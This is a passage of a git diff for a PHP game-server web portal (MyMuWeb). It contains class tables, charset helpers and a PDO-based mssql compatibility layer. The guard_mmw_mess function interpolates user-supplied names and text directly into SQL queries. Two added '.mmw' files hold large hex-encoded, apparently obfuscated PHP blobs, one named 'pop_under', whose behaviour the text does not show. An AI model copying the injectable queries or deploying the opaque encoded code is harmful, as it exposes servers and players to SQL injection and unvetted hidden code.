=> 'Muse Elf', 'level' => 2); + break; + case ($class === 34 || $class === 35): + $result = array('off' => 'HE', 'full' => 'High Elf', 'level' => 3); + break; + case ($class === 39): + $result = array('off' => 'NE', 'full' => 'Noble Elven', 'level' => 4); + break; + + case ($class === 48): + $result = array('off' => 'MG', 'full' => 'Magic Gladiator', 'level' => 1); + break; + case ($class === 49 || $class === 50): + $result = array('off' => 'DM', 'full' => 'Duel Master', 'level' => 3); + break; + case ($class === 54 || $class === 55): + $result = array('off' => 'MK', 'full' => 'Magic Knight', 'level' => 4); + break; + + case ($class === 64): + $result = array('off' => 'DL', 'full' => 'Dark Lord', 'level' => 1); + break; + case ($class === 65 || $class === 66): + $result = array('off' => 'LE', 'full' => 'Lord Emperor', 'level' => 3); + break; + case ($class === 70 || $class === 71): + $result = array('off' => 'ER', 'full' => 'Empire Roar', 'level' => 4); + break; + + case ($class === 80): + $result = array('off' => 'Sum', 'full' => 'Summoner', 'level' => 1); + break; + case ($class === 81): + $result = array('off' => 'BSum', 'full' => 'Bloody Summoner', 'level' => 2); + break; + case ($class === 82 || $class === 83): + $result = array('off' => 'DiM', 'full' => 'Dimension Master', 'level' => 3); + break; + case ($class === 87): + $result = array('off' => 'DS', 'full' => 'Dimension Summoner', 'level' => 4); + break; + + case ($class === 96): + $result = array('off' => 'RF', 'full' => 'Rage Fighter', 'level' => 1); + break; + case ($class === 97 || $class === 98): + $result = array('off' => 'FM', 'full' => 'Fist Master', 'level' => 3); + break; + case ($class === 102 || $class === 103): + $result = array('off' => 'FB', 'full' => 'Fists Blazer', 'level' => 4); + break; + + case ($class === 112): + $result = array('off' => 'GL', 'full' => 'Grow Lancer', 'level' => 1); + break; + case ($class === 114 || $class === 115): + $result = array('off' => 'ML', 'full' => 'Mirage Lancer', 'level' => 3); + break; + case ($class === 118 || $class === 119): + $result = array('off' => 'ShL', 'full' => 'Shining Lancer', 'level' => 4); + break; + + case ($class === 128): + $result = array('off' => 'RW', 'full' => 'Rune Wizard', 'level' => 1); + break; + case ($class === 129): + $result = array('off' => 'RSM', 'full' => 'Rune Spell Master', 'level' => 2); + break; + case ($class === 130 || $class === 131): + $result = array('off' => 'GRM', 'full' => 'Grand Rune Master', 'level' => 3); + break; + case ($class === 135): + $result = array('off' => 'MRW', 'full' => 'Majestic Rune Wizard', 'level' => 4); + break; + + case ($class === 144): + $result = array('off' => 'SL', 'full' => 'Slayer', 'level' => 1); + break; + case ($class === 145): + $result = array('off' => 'RS', 'full' => 'Royal Slayer', 'level' => 2); + break; + case ($class === 146 || $class === 147): + $result = array('off' => 'MS', 'full' => 'Master Slayer', 'level' => 3); + break; + case ($class === 151): + $result = array('off' => 'St', 'full' => 'Slaughterer', 'level' => 4); + break; + + case ($class === 160): + $result = array('off' => 'GC', 'full' => 'Gun Crusher', 'level' => 1); + break; + case ($class === 161): + $result = array('off' => 'GB', 'full' => 'Gun Breaker', 'level' => 2); + break; + case ($class === 162 || $class === 163): + $result = array('off' => 'MGB', 'full' => 'Master Gun Breaker', 'level' => 3); + break; + case ($class === 167): + $result = array('off' => 'HGC', 'full' => 'High Gun Crusher', 'level' => 4); + break; + + case ($class === 176): + $result = array('off' => 'LiW', 'full' => 'Light Wizard', 'level' => 1); + break; + case ($class === 177): + $result = array('off' => 'LiM', 'full' => 'Light Master', 'level' => 2); + break; + case ($class === 178 || $class === 179): + $result = array('off' => 'ShW', 'full' => 'Shining Wizard', 'level' => 3); + break; + case ($class === 183): + $result = array('off' => 'LuW', 'full' => 'Luminous Wizard', 'level' => 4); + break; + + case ($class === 192): + $result = array('off' => 'Lem', 'full' => 'Lemuria Mage', 'level' => 1); + break; + case ($class === 193): + $result = array('off' => 'Wam', 'full' => 'Warmage', 'level' => 2); + break; + case ($class === 194 || $class === 195): + $result = array('off' => 'Arm', 'full' => 'Archmage', 'level' => 3); + break; + case ($class === 199): + $result = array('off' => 'MyM', 'full' => 'Mystic Mage', 'level' => 4); + break; + + case ($class === 208): + $result = array('off' => 'IK', 'full' => 'Illusion Knight', 'level' => 1); + break; + case ($class === 210 || $class === 211): + $result = array('off' => 'MK', 'full' => 'Mirage Knight', 'level' => 3); + break; + case ($class === 213 || $class === 214): + $result = array('off' => 'IM', 'full' => 'Illusion Master', 'level' => 4); + break; + + default: + $result = array('off' => '??', 'full' => 'Unknown', 'level' => 0); + } + $result += isset($groupedClasses[$group]) + ? $groupedClasses[$group] + : array('img' => 'char/.gif', 'photo' => '0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'); + + if ($style === null) { + return $result; + } + return isset($result[$style]) + ? $result[$style] + : ''; +} + +/////// END Class Formats /////// + + +/////// Start Win to UTF Formats /////// +function win_to_utf($str = null) +{ + $str = iconv('cp1251', 'UTF-8', $str); + return str_replace('а', 'a', $str); +} + +function utf_to_win($str = null) +{ + return iconv('UTF-8', 'cp1251//IGNORE', $str); +} + +/////// END UTF to Win Formats /////// + + +/////// Start Guard MMW Message Info /////// +function guard_mmw_mess($to, $text) +{ + $date = date('Ymd\TH:i:s'); + $msg_to_sql = mssql_query("SELECT GUID, MemoCount FROM dbo.T_FriendMain WHERE Name='{$to}'"); + $msg_to_row = mssql_fetch_row($msg_to_sql); + $mail_total_sql = mssql_query("SELECT bRead FROM dbo.T_FriendMail WHERE GUID='{$msg_to_row[0]}'"); + $mail_total_num = mssql_num_rows($mail_total_sql); + $msg_id = $msg_to_row[1] + 1; + $msg_text = utf_to_win($text); + mssql_query("INSERT INTO dbo.T_FriendMail (MemoIndex, GUID, FriendName, wDate, Subject, bRead, Memo, Dir, Act, Photo) VALUES ('{$msg_id}','{$msg_to_row[0]}','Guard','{$date}','MMW Message!','0',CAST('{$msg_text}' AS VARBINARY(1000)),'143','2',0x3061FF99999F12490400000060F0)"); + mssql_query("UPDATE dbo.T_FriendMain set [MemoCount]='{$msg_id}',[MemoTotal]='{$mail_total_num}' WHERE Name='{$to}'"); +} + +/////// Start Guard MMW Message Info /////// + + +/////// Start FreeHex Formats /////// +/** + * @noinspection SpellCheckingInspection + */ +function free_hex($size, $cells, $style = 'F') +{ + if ($size === 20 && $style === 'F') { + $hex = 'FFFFFFFFFFFFFFFFFFFF'; + } // 0.97 - 1.02 + elseif ($size === 32 && $style === 'F') { + $hex = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'; + } // 1.02+ + else { + $hex = str_repeat($style, $size); + } + return str_repeat($hex, $cells); +} + +/////// END FreeHex Formats /////// + + +/////// Start Comment module /////// +/** + * @noinspection PhpUnusedParameterInspection + * @noinspection PhpUnusedLocalVariableInspection + */ +function comment_module($c_id_blog, $c_id_code, $c_add_close = false) +{ + global $mmw, $okey_start, $okey_end, $die_start, $die_end, $rowbr; + require __DIR__ . '/comment.php'; + + return isset($quantityComment) + ? $quantityComment + : 0; +} + +/////// END Comment module /////// + + +/////// Start Comment module /////// +function remove_utf8_bom($text) +{ + if (!is_string($text)) { + return $text; + } + + /** @noinspection SpellCheckingInspection */ + $bom = pack('H*', 'EFBBBF'); + + return preg_replace("/^$bom/", '', $text); +} +/////// END Comment module /////// diff --git a/includes/menu.php b/includes/menu.php new file mode 100644 index 0000000..251083a --- /dev/null +++ b/includes/menu.php @@ -0,0 +1,25 @@ + \ No newline at end of file diff --git a/includes/mmw_sql.php b/includes/mmw_sql.php new file mode 100644 index 0000000..bbb5e63 --- /dev/null +++ b/includes/mmw_sql.php @@ -0,0 +1,221 @@ + true, + 'host' => $servername, + 'user' => $username, + 'pass' => $password, + 'driver' => $mmwsql['driver'] ?: 'odbc:Driver={SQL Server};Server={%host%};Database={%dbnm%};', + ); + // Example Linux with dblib: $mmwsql['driver'] = 'dblib:host=%host%;dbname=%dbnm%'; + + if (!extension_loaded('pdo')) { + throw new Exception('PDO extension not loaded. Please open php.ini and add pdo extension'); + } + + return $mmwsql['connect']; + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_select_db($database_name, $link_identifier = null) + { + global $mmwsql; + + $mmwsql['dbnm'] = $database_name; + if ($link_identifier) { + $mmwsql['connect'] = new PDO( + str_replace( + array_map(static function ($value) { + return '%' . $value . '%'; + }, array_keys($mmwsql)), + array_values($mmwsql), + $mmwsql['driver'] + ), + $mmwsql['user'], + $mmwsql['pass'] + ); + $mmwsql['list'] = array(); + } + + return $mmwsql['connect']; + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_query($query, $link_identifier = null, $batch_size = 0) + { + global $mmwsql; + + $lastQuery = end($mmwsql['list']); + if ($lastQuery['id']) { + $lastQuery['id']->closeCursor(); + } + + $mmwsql['last_query'] = $query; + $mmwsql['list'][] = array( + 'id' => $mmwsql['connect']->query($query), + 'query' => $query, + ); + $resourceId = end($mmwsql['list'])['id']; + if ($resourceId === false) { + throw new Exception(mssql_get_last_message() . PHP_EOL . $query); + } + + return $resourceId; + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_fetch_row($result) + { + return mssql_fetch_array($result, MSSQL_NUM); + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_fetch_assoc($result_id) + { + /** @var $result_id PDOStatement */ + + // Important BOTH! mssql_fetch_assoc have issue, hack by Vaflan .!.. + if ($data = $result_id->fetch(PDO::FETCH_BOTH)) { + return $data; + } + + return false; + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_fetch_array($result, $result_type = MSSQL_BOTH) + { + /** @var $result PDOStatement */ + switch ($result_type) { + case MSSQL_NUM: + $pdoFetch = PDO::FETCH_NUM; + break; + case MSSQL_ASSOC: + $pdoFetch = PDO::FETCH_ASSOC; + break; + default: + $pdoFetch = PDO::FETCH_BOTH; + } + + return $result->fetch($pdoFetch) ?: false; + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_num_rows($result) + { + global $mmwsql; + + /** @var $result PDOStatement */ + $count = $result->rowCount(); + if ($count === -1) { + //trigger_error('[mssql_num_rows] PDO cant return correct row count'); + $result->closeCursor(); + $countQuery = preg_replace('/^SELECT(.*?)FROM/is', 'SELECT COUNT(*) FROM', $result->queryString); + if (strpos($countQuery, 'ORDER BY') !== false) { + $countQuery = substr($countQuery, 0, strpos($countQuery, 'ORDER BY')); + } + $count = (int)$mmwsql['connect']->query($countQuery)->fetchColumn(); + $result->execute(); + } + + return $count; + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_result($result, $row = 0, $field = 0) + { + /** @var $result PDOStatement */ + + /* PDO result haven't rows params, hack by Vaflan .!.. */ + $i = 0; + while ($rows = $result->fetch(PDO::FETCH_BOTH)) { + if ($i == $row) { + foreach ($rows as $k => $v) { + if ($k == $field) { + return $v; + } + } + } + $i++; + } + + return false; + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_get_last_message() + { + global $mmwsql; + + $errorInfo = $mmwsql['connect']->errorInfo(); + + return $errorInfo[2] ?: reset($errorInfo); + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_num_fields($result) + { + /** @var $result PDOStatement */ + return $result->columnCount(); + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_close($link_identifier) + { + global $mmwsql; + + $isCurrentConnection = ($link_identifier === $mmwsql['connect']); + unset($mmwsql['connect']); + + return $isCurrentConnection; + } +} \ No newline at end of file diff --git a/includes/move.php b/includes/move.php deleted file mode 100644 index 4d9bd63..0000000 --- a/includes/move.php +++ /dev/null @@ -1,22 +0,0 @@ - \ No newline at end of file diff --git a/includes/mu_server_file.mmw b/includes/mu_server_file.mmw new file mode 100644 index 0000000..f2dc221 --- /dev/null +++ b/includes/mu_server_file.mmw @@ -0,0 +1,4 @@ +MyMuWeb File Converter by Alexawka v4.03 +======================================== + +[mmw]E3F3D0D7D0B3C6C657E602E6275747562702D0D702D0B346E656F55696464202E2027212974707D6560237960256C69666027202E20256371626164716464202E2024727164737F55696464202F68636560202D0B7025637C65602D702D0B3D556371626164716464202E20272F556C69666F527566727563772B5D5725686361636F577D6D672B565E454F54202A3020202D0D546944627F636562742B5D546940757F6277642B5D556371626164716464202E20272F556C69666F527566727563772B5D5725686361636F577D6D672B565E454F54202F3020202D09246944627F6365627428202E627574756270202D0D70202D0D7020202D0D702020202D0B377F6274202D302D5B5D546940757F6277447E6562727573642B5D556371626164716464202E20272F556C69666F527566727563772B5D5725686361636F577D6D672B565E454F5420202020202D0B7025637C65602D702020202D0B377F6274202D302D5D503B577F62742B5D546940757F6277447E6562727573642B5D556371626164716464202E20272F556C69666F527566727563772B5D5725686361636F577D6D672B565E454F5420202020202D0B7029246944627F6365625371686428202669602020202D0D0B39277F6274202C22247C522825646F6C607875602D30277F6274202020202D0D702020202D0B3920202020202D077F62742020202020202D0C2D7020202020202D0B392D503B5375686364716D64202C272027202C22247C52282563616C6075627F527473702E6275747562702020202020202D0B70292375686364716D6428202E6F6964736E65766020202020202D0C272F222B2D522E5B522F272020202020202D082B6361626C6C61636F5563616C6075627F57656270702D30277F627420202020202D0B702925637C6166602D3D312029272227202C277F62742822747372747378202669602020202D0B39277F6274202C22247C52202C272F2B237C5F27282563616C6075627F57656270702D30277F6274202020202D0D0D702020202D0B35657E69647E6F6360202020202D0B3C6C657E602D30246940757F6277447E65627275736420202020202D0B702927246E6567202D3D3D30277F62742820266965637C65602D702020202D0B35657E69647E6F6360202020202D0B39277F6274282C6166747E69602D30246940757F6277447E65627275736420202020202D0B702929277F627428236962756D657E6F537960262620246940757F6277447E6562727573642128202669602020202D0D0D702020202D0B35657E69647E6F6360202020202D0B702920302D3D3D3029277F6274282E656C62747378202669602020202D0B3929277F6274202C2727202C272F2A2E2F2C5F2C5F27282563616C6075627F57656270782D696274702D30277F6274202020202D0B7029277F6274202371602164716464282028636165627F666020202D0B3C6C657E602D30246940757F6277447E6562727573642020202D0B3925637162616471646428256C6966602D3021647164642020202D0B7029292D556371626164716464202E20272F556C69666F527566727563772B5D5725686361636F577D6D672B565E454F54282974707D656820266960202D0B702920302E302925637162616471646428256A7963756C69666048202669602D0B7D092C6C657E602D30246944627F63656274202C2C6C657E602D30246940757F627764202C25637C6166602D30246944627F63656253716864202C25637162616471646428256C69666F5275667275637F557D602E6F6964736E6576602078607F3C3[/mmw] \ No newline at end of file diff --git a/includes/pop_under.mmw b/includes/pop_under.mmw new file mode 100644 index 0000000..07daffe --- /dev/null +++ b/includes/pop_under.mmw @@ -0,0 +1,4 @@ +MyMuWeb File Converter by Alexawka v4.03 +======================================== + +[mmw]E3470796273637F2C3D0B392824796E6944737279666E2275646E65507F60577D6D6D0B3D7D0D7D0B37287077202B20292922302F20286474696754756376666F6E2A626F6E2275646E65507F60577D6D68202D2022302F2028647469677E2E656562736378202D302476656C6E256C6974737E2A626F6E2275646E65507F60577D6D6D0B392725637C61666D3465667F62707071476162746E2275646E65507F60577D6D67282E6F6964736E65764027756E602D3020757563757F6D6E6F6E247E656D65736F646D0B7029282E6F6964736E6576602A34796E6944737279666D0C2D7D0D7D0B3D7D0D7D0B35637C6166602E62757475627D0B37287077202B202954756376666F602D2029547E65696C636E25602B2029507D6564702D30207F647E256C6974737E2A626F43737F62736D0B37287077202B202854756376666F602D2028547E65696C636E25602B2028507D6564702D302476656C6E256C6974737E2A626F43737F62736D0B70292465667F62707071476162746E2275646E65507F60577D6D6026262026337E6E2275646E65507F60577D6D682026696025637C65602D7D0B35637C6166602E62757475627D0B3954756376666F602D2029547E65696C636E247E656675602B2029507D6564702D30207F647E256C6974737E2A626F43737F62736D0B3854756376666F602D2028547E65696C636E247E656675602B2028507D6564702D302476656C6E256C6974737E2A626F43737F62736D0B70292465667F62707071476162746E2275646E65507F60577D6D602626202435696E2275646E65507F60577D6D682026696D0B70292568202E6F6964736E6576602D3025667F6D6563757F6D6E6F6E247E656D65736F646D0F2A2026335E40246E61602B24356960227F66602E6F6964736E657660207F62746027616274602A2F2D0B35657274702D302465667F62707071476162746E2275646E65507F60577D6D6D0B39207F647E256C6974737E2A626F43737F627368247E694563727160702D3029507D6564702271667D0B392476656C6E256C6974737E2A626F43737F627368247E694563727160702D3028507D6564702271667D0B39547E65696C636E25602A3029547E65696C636E247E656675602F302435696E2275646E65507F60577D6D602D302954756376666F602271667D0B38547E65696C636E25602A3028547E65696C636E247E656675602F302435696E2275646E65507F60577D6D602D302854756376666F602271667D0B7029272271624761627467202D3D3D3024696E2A626F4465627966682026696D0D7D0B347E656D656C65447E656271607E2A626F4465627966602A3025646F6E447E656271607E2A626F4465627966602F3026337E6E2275646E65507F60577D6D602D302A626F44656279666D0B7029272271624761627467202D3D312024696E2A626F44656279666026262029282563716342756070755F647E247E656D656C65407F64702D3D3120256D616E4761647E2A626F44656279666820256C6968677D0B3729746F6267202A3027247E656D656C65447E656D65736F6467202F30272471607D6F634B63616247202D3D312025646F6D4471607D6F636E247E656D65736F646026262025646F6D4471607D6F636E247E656D65736F64602A30272C6D647867202F3026337E6E2275646E65507F60577D6D602D30247E656D656C65407F64702271667D0B347E656D656C654362737E247E656675602A302475676271647E25602F3026337E6E2275646E65507F60577D6D602D302A626F4465627966602271667D0B3567616D69475D4D477F68637E2C6C616E247E656D65736F64602A3029272567616D69475D4D477F6863772824694972447E656D656C654475676E247E656D65736F64602F3026337E6E2275646E65507F60577D6D602D302A626F43737F6273602271667D0B70292568202E6F6964736E6576602A37616274456A796C616964796E696D0C2D7D0D7D0B37256E6F6E67202D3029716C607379646E2567616D69475D4D477F68637E247E656D65736F646D0B372564696867202D302974796C6962696379667E2567616D69475D4D477F68637E247E656D65736F646D0B702924337E6E2275646E65507F60577D6D682026696025637C65602D7D0B37256E6F6E67202D3029716C607379646E256C6974737E2A626F43737F62736D0B372E656464696867202D302974796C6962696379667E256C6974737E2A626F43737F62736D0B702926337E6E2275646E65507F60577D6D602C7C702435696E2275646E65507F60577D6D682026696D0B3567616D69475D4D477F68637E2C6C616E247E656D65736F64602A3029272567616D69475D4D477F6863772824694972447E656D656C654475676E247E656D65736F64602F3026337E6E2275646E65507F60577D6D602D302A626F43737F6273602271667D0F2A202562756860246E6560237E6F6964736E657660207F62746027616274602A2F2D0B702928202E6F6964736E6576602A387F62456469686D0C2D7D0B3D7D0B3925465F4D4543555F4D4E247E6566754823747E656675456371656C65627E207D6564537E6E2275646E65507F60577D6D6D0B702928202E6F6964736E6576602D3020757563757F6D6E6F6E207D6564537E6E2275646E65507F60577D6D6D0B3D7D0D7D0B35637C6166602E62757475627D0B3929537E6E2275646E65507F60577D6D602D20297E25602C28537E6E2275646E65507F60577D6D602D20287E2568297245667F6D6E207D6564537E6E2275646E65507F60577D6D6D0B702921302D3D3D30286364796773576162746E2275646E65507F60577D6D682026696D0B70292568202E6F6964736E6576602D3025667F6D6563757F6D6E6F6E207D6564537E6E2275646E65507F60577D6D6D0B3D7D0B397E25602D3029537E6E2275646E65507F60577D6D6D0B387E25602D3028537E6E2275646E65507F60577D6D6D0B3925465F4D4543555F4D4E247E6566754823747E656675456275747071636E207D6564537E6E2275646E65507F60577D6D6D0B70292568202E6F6964736E6576602D302E677F646563757F6D6E6F6E207D6564537E6E2275646E65507F60577D6D6D0B3920555543555F4D4E247E656675402C702E475F444543555F4D4E247E6566754823747E656675456275747071636E207D6564537E6E2275646E65507F60577D6D6D0B39256D616E682C616675602D30207D6564537E6E2275646E65507F60577D6D6D0D7D0B3E62757475627D0B702924337E6E2275646E65507F60577D6D61282026696D0B7029256D616E68202E6F6964736E6576602A337E407F6274476162746D0C24656E696665646E65702A307D6564537E6D0C24656E696665646E65702A39537E6D0C24656E696665646E65702A38537E6D0C20302A386364796773576162746D0C2C6C616E247E656D65736F64612026262024694972447E656D656C654475676E247E656D65736F64602A36337E6D0C2C6C616E247E656D65736F64602A3435696D0C23727569716C6E247E656D65736F64602A34337E6D0C29272567616D69475D4D477F6863772824694972447E656D656C654475676E247E656D65736F64602A3A626F6D0B702D302275646E65507F60577D6D602271667D0E322470796273637166716A6F24787564722D35607974702470796273637C3D0E3679646F2C3D0E356C6261647F2C3D0E32747F2C3D0E34647F2C3D0E3679646F2C3D0E3F3D0B392D072478747E2275646E65707F607F526567757D697D6F25737E2E616C636E277D6D6F2F2A3074747867202A3D072478747E2275646E65507F6057202F3D09272478747E2275646E65507F605728256C69666F53796D0823747E65647E6F636F5475676F556C696660402F6863656D0F2A20247E65647E6F63402275646E655D207F60502A2F2D0078607F3C3D0E3220302870713028707130203A376E69646461607B303A3D6F64747F626D227564627F626B303A34786769627D227564627F626B313431343134332024696C6F63702870713A327564627F626B364646432A346E657F62776B636162622D356C6974737022247875645567616D69475D4D477F6863722D3469602679646C3D0E322B303030332A327F6C6F636B383340344434432024696C6F63702870713A327564627F626B303830383038332A346E657F62776B6361626B307F647A3E67696C616D2C61636964727566722D356C6974737024647C3D0E32747C3D0E32747F2C3D0E34647F2C3D0E3679646F2C3D0E3679646F2C3D0E3E6160737F2C3D0275646E65507F60502E3F302B3D57256C647964726567772B577D6D64202F686365602078607F3C3D0E322870723A3476656C6D276E69646461607B3470783A356A79637D247E6F666B307F647A3E67696C616D2C616369647275667B364646432A327F6C6F636B346C6F626A3478676965677D247E6F66622D356C697473702E6160737C3D0E322E6F6369622D347C61602D0223434D6155735B64564C6541414141414A54315732656468305B43414A50734858425546576270374A454A75565D6975524B4263415B474A4B2551407240725A7645725A75457462754E68677B6E6A7A407C4B23314A6E47534A505772724754477E424C687F203630303146515554477F4054686E414957663667627141724949615F4F485B6A43367275746E476A534E696941653735565236733F4973384B2E4154546F46723D4877455C487D4F415E415752656052305A7274683F2B2F2F20584F427051727C4E6B2F2F27314930533C467C4E495B4861493F2F2E6845727947767750513671496770534F2545786B2D465867353E4266313C66533D467C6D684676695F247A72667A5075744B6942446A615A41425C435056647B26313463337B6A7F4F2F246435574965565F497053703E4232705C473633737A583556384D6E6F2B664035353977796378443349546A525D46794337475763344A497B286F6A56615343697F2031337236664C4349753F2F2B2836303273787842705F2B2C687F2F293F2A7A6E6F2B2B24427D4979445D49714C4D4A7436674F2F273F2333367F224333777F2173453A6E464B455645425A4254514141414052507C4E677462414147607F41414149517441414775584141476F4761414141463441414543494141495965614141545358603957614141414551595836777A68734141424135515E625141414141563364337271494032535E4851414141414466715450734141414941434F4141414141424141414765554865535E414141414F67674B4037725F4246596C2436356371626B376E607F2567616D696A31647164622D33627370276D696C3D0E322B38707030333A38647469677D2E696D6B3870723A376E69646461607B35667F6D6A327F637275736B307F647A3E67696C616D2C616369647275667B303A356A79637D247E6F66622D356C697473702D02203D386364796773576162746E2275646E65507F60577D6D622D34757F6563757F6D4E6F602D0229272567616D69475D4D477F68637728237E407F6274476162746E2275646E65507F60577D6D6924337E6E2275646E65507F60577D6D6826696B313D386364796773576162746E2275646E65507F60577D6D622D3275667F6563757F6D4E6F602D0229247E6566756827616274456A796C616964796E696E2275646E65507F60577D6D622D3E677F646563757F6D4E6F602222716247616274622D3469602679646C3D0E316F2C3D0E3225637F6C63622D347C6160222B3870723A3E696762716D6B34786769627A34716F6C666B387074313A3478676965686B387076313A38647469677B303A327564627F62622D356C697473702D022D39494953453B425F465553514141414145424A633661596931324731414153587141516F65476947524B4F494D69624E61595F653D47783944725A4A42547244644A7846623764714243453B6B6B28707441665155786469494737437A594E61425A697843677247495F6867635835464173643F67415B62584E47725057705F2F205F2A6E464B455645425A4656414141414052507C4E677462414147607F41414149517441414775584141476F4761414141463441414543494141495965614141545358603957614141414551595836777A68734141424135515E625141414141563364337271494032535E4851414141414466715450734141414941434F4141414141424141414765554865535E414141414F67674B4037725F4246596C2436356371626B376E607F2567616D696A31647164622D33627370276D696C3D0E3225637F6C63422D356C647964702225637C6166602E62757475627B3928287F62456469686E2275646E65507F60577D6D622D3B63696C634E6F602229203824696F667A3470796273637166716A622D3665627860216C3D0E322B39272D3D3767676A4B62754535525A424141414147795A5B635A7F6A477B6A7247714F2F2051414D41587B2E47474748444A6A6C61364748444A6A686868797B23496F26444A6A6868687871594574503C6A5752717A407057346843705179547333644935415265747C416052565F6F2B2C613A5833566862545D474D627239707E665360364363553F685737496933427455595252616A6467613B626B48493943546E66697A7535465E4A44726A747451794F684451596075686560567B6E653A6A58434737323B44746A5A43575171376733434A7A735966574835507A7173707F66594C42446A7E4C4933546D6837674558314E655166324C6835576239445A45607F4941697E4C67635B6A4E68484B6A49417833653B2F64387A7B25544F6A4E6A4A4E4D6958534F46755E6A4673493A4F636454726459685B46634D41416B42533546735B2C6D64707751473C427567653977775A7B4B2A7077617A7945694243344F423B636631436934323251425148323A623656687A7B6742345445463264384359424B655F42536B234347314F2843303449707C6A6E4544487947644C4A5A47316A6846524255535275414141495558766A4532685141414951744141414D663141414D41324141407449414148366B21414777614341414C6F684141403B65594E4749414141414457413B28353953714141515E46403A554141414143746C4A7D474F2A7A653145483F2B645D687B67366B4034565663753A623F2F68384948325B245058393F6673387463666857747676765037365D4A7768597B26386873426832367D68763142756F2C6978526F2F453C69766A5F625A6A503F466936365A6676667958764575737F29663F264561697A7B6938315E697666393C4330596E645F4B276A6E627269544745783A6A5B29524449377A6138407F2050595867436F22536849383765684771793843367A6E433B26713056566953344C64615474454936687734583231773E6368523735737A793669636B21347646685F2936466F22663E46667463345F456754713F22625835313C493467383E456572563332623561323275657E6731636C627271657C4E673568345450507F283F6F44617332385638317D6858673654555B22397B4054643B40585F46744677336B296F285B6038645845463B2B22605F62333F405235373A527F626447433537396669313A5C6469743A7976623B645C4956316E6759755E4673553C6640503775344663793258327E63317264603B27783456357C695264767D64547072516B467D6340723C446367584239387038454F4277387F646162745445636F233A4366663B6E6842577E4964374A7A5A6651376E4E4039746673307F2B2B28787F4360363279593A6352565053533251355E67313236377948403F2143505778747848526F4131685474767C643E65717A4636305330573B2A44766A565267513E465651465474767A47345F233A773752685E4730395056773478673257374B28584754746C447732315C6B255250565B6351305730337A7A46616A58396C405F2F4165744A573767357E4B4E46653C42685B6931333F4477593464403174623E443D6448516B2C6171607442653A5C456265663D6A447A505457557546716170335A433A5B2279767464374C6A68433F67693666536536426458627B4D69564B23725E67417669513B24675677613454613B2133667566664755734654777632764154724C4F697247365762713B656D603276657565365476763456533D6B4231794578377172475A543B464558743B43746568787A63753F674279316F47546039765C4A5950723B4A5433594375447F2F2E667A753E415574797A7973673E46796E62716A5F4B4E695A7F2162365C646D63784F69713F6F66465F6261715231715C4A565142715F47316A46615C656839747C4637587B2C42686C687639723A5D653E607B2A523F4A54586F617158724A5B635F495D49317450597037494230707645617A7D646A75544D487C4B6075634865375F4C4C6F44587B6B685E48374A473351785451776B683F45386B436E45423947447E425F29694E6A4368434E6E634F4759746459466A4D4162417171425157745A4F4F486944514A507F4379486C40716870764356777F4841656771364976776536473E4B2349633074384F4667383F247673753D6E4571796C45377873537C6547546966513D4E6C6A5579583056335A65733F6E40517539617B2F635E4B4139727538355D4E647073354A5A42563450333A7E45433256685E485744503167664967753430574566586847543A4D4433377C474D6538646140375A657661565F644075336B6F4A65353338435271597F497F66435272485577647B443A6246525155334B4A624135623971666A52627A705F4B22694830784B273C4777524745576A4F477A524553476E6341503F22733F2B693F294F2E4033364B2C6E667E48345C466C497333483E4D4F2657556C4A6333377A743B2D4B2E69753A693B2368773864667173365634777564627856453C4A6939794E68573A524B2031505538427666774D465B25334F25446532524B2159405D403A7E4457556D697E6037783E63666F673075357E457F26323F623577726F473D6467567036364568587650546B425566794334787263707C4B23607C4C4C44335A4579496A705433653562364E646030326F465E6072536B4C4058647A6054423054487A7954623C40726A4936433330557A707A7166347F47507446497257336B213867546371744A5669544840345F2E423E65793E4A5674563B27757758347E6468695E66475662323D647575747249585F437A536261723D6374787447377E6A547E6276303B6F4C673072536635747572713C60316E647160337460765659565167553F665865787274757E6C60716255737A46574572396174737F6645616242347666753132656B2D6E6C4A7138703A7D613B60713E4C416A7D4338387D4474445739516B4D6D6264535070773E4075645C4A53594D69576A4A616362674332343B6D4F48574E674A6059555A6746593F68354465725359543857475C68665631514E4368544646583266683C44677A72687654587837686A7D4374724B6777737747664448465F207633375F25513F2C4938786B2E633265656666326D453A476565327E69563B20757937346544726F6265563161763962713274505E4A58707B436163345C69355E633A524F4F243A584463485E6F603872453157673E61357641327074656167357164567276603172547B4352796C6C685160717278765A587B6C44503956374079456B467458633B46333838556B4B4E6E676450387A4B2878653438483A6A555F46755A75613D4B4E4A715535416171723A796732325F2955727B423878523E48427A45485457613A54317E437759437763337A5D423347695D467A6F265377674640744930377D4E4367574B695F2A5538407F2151326F656D617849663F40756235526D4136315130717654717C655E61517A60513D465A5B62793E4C68507B29465C4851383654776175627170717D6B46567F69774651635C6B4650734B484A564830796471776656567C65344A556F4D62784A7E477151387A5374303A595B44595B2B47433C687A59536147426D624B4E686438744758686E4777746030514638596B22507673703852493C6F45325C6468486570386B227074605168576D674458507F647756335A4A58776E4E6A6D61325A754F656955567B4C64786231715169395E4251565F6F623475516F4166524A444D6C6A515530355F454C6E6863517073755F694B2554345163614A475E6B437C6838615B274B6054453444556E6B6859497271434C455D6A724975774A516E683B6A6F624350337A51737B6B2943553D60374A447543545640787D6B61415D673A497D45596351597E454055496732487C44583F654750534C4948613868794A695951536B225F627A40357541745B497A43484648644B677E4A4F64654031534847676B43595735475D4866435245325957694034654954534148555763515774687B2839513E6435744771765771786872797142796547397A6E4A5343776453734E43787571444265405A7249576F47777368315B283F62305762317156656F623779505161527361567A4F67583F6D6871584A5156776F67425F674337616574465C44455334555977494C687365467749767769714149773540757748713865394763693946684946564945507F655877655E42557B69425252496A44434A4C4B4242494643694438595D6857676A6A676C696966414961684359545761497242515342497C4B42473A4348607F2447713A6444375C67757431436451694162524D4E4461454136714D6B4461426A774969615349716B476A484841435D634342486153445D